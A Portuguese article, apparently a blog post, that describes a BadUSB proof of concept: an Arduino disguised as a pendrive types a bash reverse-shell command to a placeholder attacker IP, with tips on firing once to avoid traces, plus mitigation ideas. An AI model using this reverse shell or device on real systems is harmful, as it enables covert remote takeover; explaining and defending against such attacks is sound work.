VULNERABILIDADE BAD-USB COM ARDUINO
1. Resumo
Mostro para vocês a POC de como invadir um computador remoto usando um Arduino camuflado de pendrive utilizando uma antiga vulnerabilidade conhecida como BADUSB.
1. Introdução
Nesse artigo eu vou combinar a técnica de shell-reverso com um Arduino no formato e tamanho de um pendrive que fará o papel de USB-HID (Human Interface Device).O computador da vítima pode ter tanto o sistema operacional Windows como Linux instalado, neste caso vamos realizar o ataque a um sistema Linux.
Levando em consideração que os teclados e mouses atuais utilizam 8-bit CPU e 99% dos teclados são do tipo QWERTY, seria possível montar nosso próprio BADUSB, usando um microcontrolador ATMEGA32U4 8-bit AVR RISC-based que conta com 2.5KB SRAM, 1KB EEPROM, USB 2.0 e CPU Speed (MIPS/DMIPS) 16MHz.
Entretanto, existe o arduino Leonardo, que vem com o microchip ATMEGA32U4 não será necessário ter o trabalho de construir o pendrive e pouparemos a parte “eletrônica” de soldar e programar o microcontrolador. O Arduino Leonardo pode ser encontrado em versão micro e nano, neste caso estaremos utilizando o tamanho beetle,removeremos os pins que não serão necessário para o ataque, e fica a sua criatividade montar uma carcaça bonita para ele.
1. Estratégia
Para programar no Leonardo usaremos Arduino IDE que faz o papel de compilador, e a linguagem de alto nível derivada do C. Com algumas poucas modificações, programamos a sequência de teclas a serem simuladas no computador da vítima (com 16MHZ envia muito muito rápido mesmo). A galera do HACK5 fez uma versão de 64MHZ que é muito mais rápido, porém os 16MHZ atendem a nossa necessidade, pois a vítima não terá tempo hábil para reagir, e tudo ocorre em aproximadamente 2 segundos.
Feito nosso sketch no arduino, podemos compilar o código e enviar paradentro do nosso “pendrive”, e assim estará pronto para usar.
Como todo hacker que se preze não queremos deixar rastros do ataque, então vamos adicionar a lib EEPROM.hpara ter acesso ao endereço de memória não volátil do arduino e poder assim armazenar um valor “permanente” que será consultado antes de ativar o HID. Dessa forma, com um simples IF consultamos o valor do endereço da EEPROM, o ataque só será executado uma única vez o ataque, ou seja, quando o pendrive for plugado na máquina nas próximas vezes nenhum código será executado, e a vítima não faria ideia do que poderia ter acontecido. Salvo em casos de engenharia Reversa no ATMEGA, o que já dificulta muito o rastreio.
1. Shell Reverso
Shell reverso é uma técnica antiga de invasão que consiste em exportar o shell da vítima para o invasor, a grosso modo seria algo como o invasor ser “invadido” pela vítima. No caso o atacante não precisa saber o IP da vítima, porém o host da vítima obrigatoriamente precisa saber o ip do atacante.
Dessa forma podemos exportar o shell da vítima e direcionar para um socket tcp direcionado ao ip do atacante através de um device file por exemplo. O atacante só precisa ficar escutando uma porta específica esperando o pacote da vítima com o shell ser exportado.
Existem diversos métodos para atacar com shell reverso, nesse caso usaremos o velho e bom bash interativo com o seguinte comando que irá ser lançado no pc da vítima via Arduino assim que o pendrive seja inserido:
bash -i >& /dev/tcp/<IP_ATACANTE>/<PORTA> 0>&1
IP_ATACANTE: IP da máquina atacante
PORTA: Porta onde a conexão está aberta aguardando a exportação do shell.
É possível fazer alguns floreios para rodar em background, subir no boot, esconder o processo, e etc.. ai fica a sua imaginação aperfeiçoar a técnica.
1. BADUSB
A vulnerabilidade BADUSB originou-se em 2014 quando o hacker X descobriu uma vulnerabilidade nos pendrives que possuíam o chip Phison 2251–03 (2303), onde foi feito uma engenharia reversa na firmware do pendrive da Phison, e conseguiu então alterar o conteúdo da firmware fazendo com que o pendrive passa-se a se comportar como um teclado enviando sequências de teclas para o computador alvo. Ai fica à sua imaginação as infinitas possibilidades que esse ataque pode trazer, desde alterar o hosts da maquina, até fazer o download de um malware.
No video feito exclusivamente para esse artigo eu mostro um exemplo pratico de ataque BADUSB utilizando shell reverso, porem as possibilidades são infinitas.
Como o ataque é físico onde um “pendrive” se comporta como um teclado pré programado, nenhum anti vírus seria capaz de identificar o ataque, pois a nível de software , seria um humano digitando comandos, e a nível de hardware é um teclado autentico e não adiantaria colocar por exemplo Phison ou Arduino em blacklist pois podemos facilmente alterar o fabricante direto na firmware .
1. Como se proteger
A única forma 100% efetiva de mitigar esse ataque é NUNCA, JAMAIS plugar dispositivos desconhecidos no seu computador, seja teclado, mouse, pendrive, etc.
Nenhuma defesa efetiva dos ataques USB é conhecida. Os scanners de malware não podem acessar o firmware em execução nos dispositivos USB. O ataque é comportamental como se fosse um humano. Uma idéia para mitigar esse risco seria criar um software em que toda vez que alguém plugue um dispositivo na USB, e esse seja identificado como um keyboard, o sistema operacional imediatamente mostraria uma sequência de teclas aleatórias na tela dizendo para o usuário digitá-las, por exemplo:
Pressione X + F + R
Caso as teclas sejam pressionadas corretamente, então o teclado novo é automaticamente liberado, caso o contrário o teclado não. Essa é uma boa forma de garantir que um dispositivo malicioso seja conectado ao computador.
Link com o vídeo mostrando o ataque https://www.youtube.com/watch?v=vHnYqh5GeRI
Referências
HID — http://www.usb.org/developers/hidpage/Hut1_12v2.pdf By Mike Van Flandern
BADUSB — https://github.com/brandonlw/Psychson
ARDUINO — https://www.arduino.cc/
SHELL REVERSO- http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Engenharia Reversa — https://en.wikipedia.org/wiki/Reverse_engineering